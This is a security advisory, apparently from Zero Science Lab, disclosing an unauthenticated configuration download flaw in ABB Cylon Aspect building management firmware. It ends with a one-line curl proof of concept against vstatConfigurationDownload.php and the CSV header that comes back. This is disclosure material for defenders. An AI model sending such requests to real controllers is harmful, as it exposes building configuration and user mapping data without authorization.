ABB Cylon Aspect 3.08.01 (vstatConfigurationDownload.php) Config Download


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
The addition of vSTAT, a Virtual Zone application, allows for authorised
users to change temperature setpoints, occupancy status, fan status, and more.
Delivering the power to control from any internet enabled device. With AspectFT,
vSTAT can be customized to display and control custom points. Want to turn the
lights on or off? vSTAT can be programed to do it remotely.

Desc: The ABB BMS/BAS controller suffers from an unauthenticated configuration
download vulnerability. This can be exploited to download the CSV DB that
contains the configuration mappings information via the VMobileImportExportServlet
by directly calling the vstatConfigurationDownload.php script.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5863
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5863.php


21.04.2024

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$ cat project

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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 


$ curl http://192.168.73.31/vstatConfigurationDownload.php
DisplayName,Path,SearchText,Users,Groups,GuestAccessAllowed,ReferenceText,Pin